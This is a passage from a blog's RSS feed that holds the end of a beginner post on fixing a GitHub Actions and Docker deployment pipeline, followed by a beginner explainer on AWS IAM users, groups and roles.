&lt;p&gt;The first one was with the download step. I had path: flaskapp.tar under it, since that's the file I actually wanted back. Made sense to me at the time. But path: for download-artifact isn't a filename, it's a directory you're downloading into. So instead of getting my .tar file back, it tried creating a folder called flaskapp.tar. Next step, &lt;code&gt;docker load -i flaskapp.tar&lt;/code&gt;, obviously had no idea what to do with a folder. Fixed it by setting path: ., which just downloads the artifact into the current working directory, where the file actually shows up as flaskapp.tar like I expected in the first place.&lt;/p&gt;

&lt;p&gt;Second issue showed up only on the second deploy, not the first, which threw me off for a bit. &lt;code&gt;docker run -d -p 5000:5000 --name flaskapp flaskapp&lt;/code&gt; worked fine the first time. Ran the pipeline again, and it failed, complaining that a container named flaskapp already existed. Which, fair, it did, the one from the last deploy was still sitting there running. I hadn't thought about that at all while writing the step. Fix was stopping and removing the old container before starting the new one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;That's the full pipeline, test, build, two kinds of artifacts, deploy, all wired together and actually working end to end on my own machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcsr8xf4q6jocft2w2tmh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcsr8xf4q6jocft2w2tmh.png" alt=" " width="800" height="127"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I learned a lot from this project. I learned things like how github actions works, different actions like upload and download artifacts. Moreover, I had no idea I can save docker image file in tar. I still have many stuff to learn and will be updating/tinkering with this small project. &lt;/p&gt;

&lt;p&gt;Thank you for reading.&lt;/p&gt;

&lt;p&gt;P.S: If you have any ideas on how I can improve this pipeline in a way that helps me learn more, please let me know.&lt;/p&gt;

&lt;p&gt;Project Github: &lt;a href="https://github.com/binamra-linux/simple-workflow" rel="noopener noreferrer"&gt;https://github.com/binamra-linux/simple-workflow&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cicd</category>
      <category>devops</category>
      <category>docker</category>
      <category>github</category>
    </item>
    <item>
      <title>AWS IAM Explained: Users, Groups, and Roles</title>
      <dc:creator>Binamra Pandey</dc:creator>
      <pubDate>Sun, 30 Aug 2026 15:13:40 +0000</pubDate>
      <link>https://dev.to/binamra/aws-iam-explained-users-groups-and-roles-3174</link>
      <guid>https://dev.to/binamra/aws-iam-explained-users-groups-and-roles-3174</guid>
      <description>&lt;h2&gt;
  
  
  What is IAM Users and Groups?
&lt;/h2&gt;

&lt;p&gt;First, let's understand what IAM is in AWS. IAM stands for &lt;strong&gt;Identity and Access Management&lt;/strong&gt;, and it is a service in AWS that lets us control who can access what kind of resources in our AWS account.&lt;/p&gt;

&lt;p&gt;Now that we know what IAM is, let's talk about Users and Groups.&lt;/p&gt;

&lt;p&gt;An IAM User is an identity you create for a person or application that needs to interact with your AWS account. Each user gets their own credentials, so you know exactly who did what.&lt;/p&gt;

&lt;p&gt;An IAM Group is simply a collection of users. Instead of assigning permissions to each user one by one, you can put users into a group and assign permissions to the group. Every user in that group automatically gets those permissions.&lt;/p&gt;

&lt;p&gt;For example, if you have five developers who all need the same access to S3, you don't attach the policy five times. You create a "Developers" group, attach the policy once, and add all five users to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is IAM necessary
&lt;/h2&gt;

&lt;p&gt;Without IAM, anyone with access to your AWS account would have full control over everything in it. If you want to share your aws account or have another user for different purposes you don't have share your root user account instead, you can create a completely new users for specific purpose and attached that user with required permission to perform that specific task only.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating a IAM user
&lt;/h2&gt;

&lt;p&gt;To create a IAM user for your aws, login to your (root) account. And Search for IAM in the search bar.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnosr2j4vbhzd1vatafvz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnosr2j4vbhzd1vatafvz.png" alt=" " width="800" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After that where you are inside IAM dashboard, click on IAM users and when IAM users page loads successfully, click on Create User&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2ihimu28u1s99fq1sxz0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2ihimu28u1s99fq1sxz0.png" alt=" " width="799" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After you click on create user, you'll be asked to enter some information regarding this new user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk8lywml1j4fxluaoon6z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk8lywml1j4fxluaoon6z.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Afer that, you'll be asked to set permission for the new user. Here, you'll have 3 options. You can either attach your this newly created IAM user to the group or copy all the permission from another user. Or you can also set inline attach policy directly to the user.&lt;/p&gt;

&lt;p&gt;P.S: An inline policy is a policy that's embedded directly into a single IAM user, group, or role, rather than existing as a separate, standalone policy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5n0w8knq30qfbo8i1jbi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5n0w8knq30qfbo8i1jbi.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you set permission for this user, you'll be asked to review them and finally you can create the IAM user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffgsg3pnw79ibplqxa35d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffgsg3pnw79ibplqxa35d.png" alt=" " width="799" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3m2i6qzcrt0gl19reztu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3m2i6qzcrt0gl19reztu.png" alt=" " width="800" height="273"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is how you can create IAM user.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating IAM group
&lt;/h2&gt;

&lt;p&gt;Now, to create a IAM group, from the IAM dashboard click on IAM users group. Type the name of your group and attach the required permission policies&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg0n6vemhvnyyzbg72c6t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fg0n6vemhvnyyzbg72c6t.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After that, click on create group button, it'll create that group for you.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffmxfw68i6dk9h9bf7v8z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffmxfw68i6dk9h9bf7v8z.png" alt=" " width="691" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can assign multiple users to single groups depending on the required permission.&lt;/p&gt;

&lt;h2&gt;
  
  
  IAM Roles for services
&lt;/h2&gt;

&lt;p&gt;An IAM Role is similar to an IAM user in the sense that it's an identity with permissions attached to it, but it doesn't have permanent credentials like a username and password. Instead, a role is assumed temporarily by whoever or whatever needs it, and AWS hands out short term credentials that expire automatically.&lt;/p&gt;

&lt;p&gt;This is mainly used when a service, like EC2 or Lambda, needs to access other resources in your aws account.&lt;/p&gt;

&lt;p&gt;For example, say you have an EC2 instance running an application that needs to read files from an S3 bucket. You could create an IAM user, generate access keys and hardcode them into your application, but this isn't a good practice since those keys don't expire and if your instance ever gets compromised, the attacker gets those same keys too.&lt;/p&gt;

&lt;p&gt;Instead, you attach an IAM Role to the EC2 instance. AWS automatically gives temporary credentials to the instance, your application uses them to access S3, and there's no key that you need to manage or rotate. Once the instance is terminated, that access goes away with it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk9z6oert6dmhdlpq5k6z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk9z6oert6dmhdlpq5k6z.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>devops</category>
      <category>automation</category>
      <category>security</category>
    </item>
  </channel>
</rss>
